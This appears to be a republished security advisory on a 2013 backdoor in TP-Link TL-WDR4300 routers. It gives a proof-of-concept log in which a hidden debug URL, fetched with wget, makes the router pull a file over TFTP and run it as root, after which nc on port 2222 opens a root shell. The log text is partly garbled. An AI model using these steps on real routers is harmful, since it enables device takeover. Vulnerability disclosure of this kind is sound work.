TP-Link http/tftp backdoor

About the TP-Link Router

TP-Link TL-WDR4300 is a popular dual band WiFi, SOHO class router.

Tested Firmware

We tested the remote root PoC on the newest firmware (published on 25.12.2012 ):

TL-WDR4300-tested firmware version

The following info is provided for educational use only! We are also not resposible for any potential damages of the devices which are tested for this vulnerability.

Update: More info about the issues in the router is available here. Test proof

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Root @ secu :~ # Nc 192.168.0.1 2222 (UNKNOWN) [192.168.0.1] 2222 (?): Connection refusedroot @ secu :~ # Wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art . Html -- 23:22:31 -- http://192.168.0.1/userRpmNatDebugRpm26525557/start_art . HtmlConnecting to 192.168.0.1: 80... connected. HTTP request sent, awaiting response... 200 OKLength: unspecified [text/html] Saving to: "start_art.html" [<=>] 426 --. -K/s in 0 s 23:22:33 (49.1 MB/s)-"start_art.html" saved [426] root @ secu :~ # Nc 192.168.0.1 2222 ps PID Uid VmSize Stat Command 1 root 404 S init 2 root SW <[kthreadd] 3 root SW <[ksoftirqd/0] 4 root SW <[events/0] 5 root SW <[khelper] 6 root SW <[async/mgr] 7 root SW <[kblockd/0] 8 root SW [pdflush] 9 root SW [pdflush] 10 root SW <[kswapd0] 17 root SW <[mtdblockd] 18 root SW <[unlzma/0] 71 root 2768 S/usr/bin/httpd 76 root 380 S/sbin/getty ttyS0 115200 78 root 208 S ipcserver 82 root 2768 S/usr/bin/httpd 83 root 2768 S/usr/bin/httpd 86 root 732 S ushare-d-x-f/tmp/ushare. conf 92 root 348 S syslogd-C-l 7 96 root 292 S klogd 101 root SW <[napt_ct_scan] 246 root 348 S/sbin/udhcpc-h TL-WDR4300-I eth0.2-p/ tmp/wr841n/u 247 root 204 S/sbin/udhcpc-h TL-WDR4300-I eth0.2-p/tmp/wr841n/u 251 root 364 S/usr/sbin/udhcpd/tmp/ wr841n/udhcpd. conf 286 root 2768 S/usr/bin/httpd 299 root 2768 S/usr/bin/httpd 300 root 2768 S/usr/bin/httpd 305 root 2768 S/usr/bin/ httpd 307 root 2768 S/usr/bin/httpd 309 root 2768 S/usr/bin/httpd 310 root 2768 S/usr/bin/httpd 389 root 2768 S/usr/bin/ httpd

Technical Analysis

After the following HTTP request is sent:

Http://www.bkjia.com/userRpmNatDebugRpm26525557/start_art.htmlthe router downloads a file (nart. out) from the host which has issed the http request and executes is as root:

 

PoC-digoal

Sample captures from the host which issues the http request:

Wireshark filter used to show router tftp traffic

Nart. out tftp request

Models affected

• TL-WDR4300
• TL-WR743ND (v1.2 v2.0)
• ...

History of the bug

12.02.2013-TP-Link e-mailed with details-no response
22.02.2013-TP-Link again e-mailed with details-no response
12.03.2013-public disclosure

More information

Http://sekurak.pl/more-information-about-tp-link-backdoor/

-Michal Sajdak